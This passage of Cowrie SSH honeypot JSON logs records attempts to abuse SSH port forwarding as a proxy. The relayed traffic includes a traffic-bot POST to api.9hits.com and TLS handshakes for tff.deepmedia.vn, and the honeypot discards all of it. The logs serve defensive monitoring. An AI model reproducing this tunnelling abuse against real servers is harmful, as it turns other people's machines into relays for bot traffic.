ZHu2x%2BwBjZ82pUN0arRn'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1204\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MlNtXjY%2BQyZjemUjRkowNQ%3D%3DnbalNGlWJPqMC0bUYJERSuziNQpgSWcvuJiypMJ3iuJsifksO7ctWYDXzn7rA7tJuIIwVLrOSEll3kELQnVLIIvYjwssHR8E4YexNFH3maNVVszo8N6uQWIfb6suJZoiIJUsxl%2F7Vd%2Fawt97vumzhKE9pm4vxm%2Bb%2BKKRds4VsB7eo82aZlPmpZbVlh46tcLf4Jb4lD0mmmyeFCuAMhWv2WNiwVktKGxY8q3lP7QS1Z8oDhPdBo%2Fjn8taNog9gI6cSpozoZxcfq7ipdU6WxsDKecSUhVi1Kvaxir28I8TyD2tWWkbzgC03i7lsJpn0Inka6BKABz%2F89YYJ8MDI2toDl5Awx9maEOVX%2FlVPRPGYLeMDWoMjckbiS40r9XBquY%2BH%2FJNHj5yipR6LFAryNtUx%2BEO0IOqMJRgpLELz9ii%2FaeWvn6SOv5bGgdw3i6Dg9DjX2ZdZZ%2BKvR9quRV9Djv%2FSvT%2FCg%2Fbil8VEaGnQQ18ZfXU28PdBZltCLJK462nMNDfSsjnfSLn61T1EQrFZOBtGac1Sy6beA0aceGqznxiDhgGoNbVOxh1b9hlRneF%2F%2BD%2Fh5qP6bAYKhmt4yJEdxCr7HfzKtb9BW9RlovLKcE8aOO4DMXAzY%2Bx1ZtCmYQq4rAykWYuOUKS%2B8zesFDUABysBhCmsiblXKbI69%2Fqhry1DBowdurmScpytrDFVIMjuY6wA8DHgEEFhW6EIrsmQKdg%2BqnRI8veykVssdBuS%2BMDQ58QoybJCwtAyzHNmUJ%2FCl7MONgslfJIyy%2BfN3y%2BYI7kddtpY%2B5jIT%2F7lzlptCUjKLpI1DohsWDMKbg2U6dFJ6G04my%2F%2F95pjNktK8YSEiGujqzKnGrrRAz0tvqWBzt9KoSh2XnPjqCqZM8GQ%2FvI4qg6fccJRL3qb0btk%2FYKhPNi%2BRCGUCTbUZZqysc%2Bf%2BerdfmHvTN3jdiJVJgZZDCNt9e%2F%2FKFjvJq%2FI1otFouPzK2U7JhtW%2FIaBwfvOVxl4ioFUq2mcfc%2Bsbj0xaqERQxd2ROVb2xWnNms3U5zVcb1TrS7AasPwfWfZM%2FKsZ5seaChiuXOZHu2x%2BwBjZ82pUN0arRn'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:47.472994Z","src_ip":"123.27.168.40","session":"e465c674e15e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:47.476217Z","src_ip":"123.27.168.40","session":"e465c674e15e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xecBx(\\xb1\\x08\\xa1\\xeb\\xbf\\xdf\\x89\\x81\\xce\\x1bo\\x86\\x83\\xae3\\x00oC\\xc7\\xd7\\x8b;\\x83H\\x01\\x95\\x932 b\\xde\\xde\\xb6\\xb7,\\xd1\\xe8:\\xebA-\\xd2hER\\xf9\\xd2\\xb0\\xf0\\x1aG(\\xa7\\x05\\x16\\xb3\\xffT\\x81\\x1f\\xb2\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 @'A\\x9b\\x8eaF\\xbe\\n\\xc3\\x087\\xdcC\\x02\\x90p\\x9a\\xa7\\x90\\xd6\\xb1t\\xd4\\x8b\\xac\\x8f[\\x10!\\xa2\\x16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xecBx(\\xb1\\x08\\xa1\\xeb\\xbf\\xdf\\x89\\x81\\xce\\x1bo\\x86\\x83\\xae3\\x00oC\\xc7\\xd7\\x8b;\\x83H\\x01\\x95\\x932 b\\xde\\xde\\xb6\\xb7,\\xd1\\xe8:\\xebA-\\xd2hER\\xf9\\xd2\\xb0\\xf0\\x1aG(\\xa7\\x05\\x16\\xb3\\xffT\\x81\\x1f\\xb2\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 @'A\\x9b\\x8eaF\\xbe\\n\\xc3\\x087\\xdcC\\x02\\x90p\\x9a\\xa7\\x90\\xd6\\xb1t\\xd4\\x8b\\xac\\x8f[\\x10!\\xa2\\x16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:47.479898Z","src_ip":"123.27.168.40","session":"e465c674e15e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:47.716516Z","session":"e465c674e15e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:47.947572Z","src_ip":"123.27.168.40","session":"e465c674e15e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbce2\\x00^\\x8eN\\xd6<\\xefb\\x00s\\xd1\\x1dH\\xfd\\x85\\x0bP\\xfe\\xdb\\xf2\\xf1q\\xeb\\xaf\\xeeO\\xf2v\\x01 Z{\\x89mA\\x01\\xe4\\xe2f{7\\xa9k\\x8cP\\xf1\\xd6\\x94\\xaa\\x1a\\x9c*Y\\x87\\x01\\x92*\\xce\\xc2\\xdd\\xa3\\xeb\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc2\\xd0\\x05\\xdaF:\\x18\\x9dmq\\xbdB[\\x9am\\x19\\xe4$h\\xb6\\xb7\\x1e4Ie\\xf7\\xf5\\xf4`q\\x14%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbce2\\x00^\\x8eN\\xd6<\\xefb\\x00s\\xd1\\x1dH\\xfd\\x85\\x0bP\\xfe\\xdb\\xf2\\xf1q\\xeb\\xaf\\xeeO\\xf2v\\x01 Z{\\x89mA\\x01\\xe4\\xe2f{7\\xa9k\\x8cP\\xf1\\xd6\\x94\\xaa\\x1a\\x9c*Y\\x87\\x01\\x92*\\xce\\xc2\\xdd\\xa3\\xeb\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc2\\xd0\\x05\\xdaF:\\x18\\x9dmq\\xbdB[\\x9am\\x19\\xe4$h\\xb6\\xb7\\x1e4Ie\\xf7\\xf5\\xf4`q\\x14%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:47.951697Z","src_ip":"123.27.168.40","session":"e465c674e15e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:48.302772Z","src_ip":"123.27.168.40","session":"e465c674e15e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:48.441483Z","session":"f3b72ecdadeb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:48.500069Z","src_ip":"23.175.50.47","session":"f3b72ecdadeb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x16\\x9f*\\xd3iC\\xbfQ>n\\x8e\\x9c0\\xe8\\x1e\\x00\\x1fg!\\x06\\x8f\\x02}\\x17\\xe5*W\\xf8$\\x881? /\\x01ZLU\\xca\\x95\\xe4\\xe1A\\xeb\\xbd\\xa2)u\\xa4ED\\xce\\xa0\\xe2\\xca\\xd9\\xe5\\xa5\\xb9\\xca\\t\\x15\\xcaO\\xe7\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe6\\x03\\xe1\\x84y9ph\\x03\\xef\\xe3\\x13\\xf7\\xffP}\\xb0<91\\xe8C\\xfb\\x02a\"\\xad6\\x96\\x8c\\xe2\\x04\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x16\\x9f*\\xd3iC\\xbfQ>n\\x8e\\x9c0\\xe8\\x1e\\x00\\x1fg!\\x06\\x8f\\x02}\\x17\\xe5*W\\xf8$\\x881? /\\x01ZLU\\xca\\x95\\xe4\\xe1A\\xeb\\xbd\\xa2)u\\xa4ED\\xce\\xa0\\xe2\\xca\\xd9\\xe5\\xa5\\xb9\\xca\\t\\x15\\xcaO\\xe7\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe6\\x03\\xe1\\x84y9ph\\x03\\xef\\xe3\\x13\\xf7\\xffP}\\xb0<91\\xe8C\\xfb\\x02a\"\\xad6\\x96\\x8c\\xe2\\x04\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:48.503494Z","src_ip":"23.175.50.47","session":"f3b72ecdadeb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:48.567210Z","session":"f3b72ecdadeb","protocol":"ssh"}
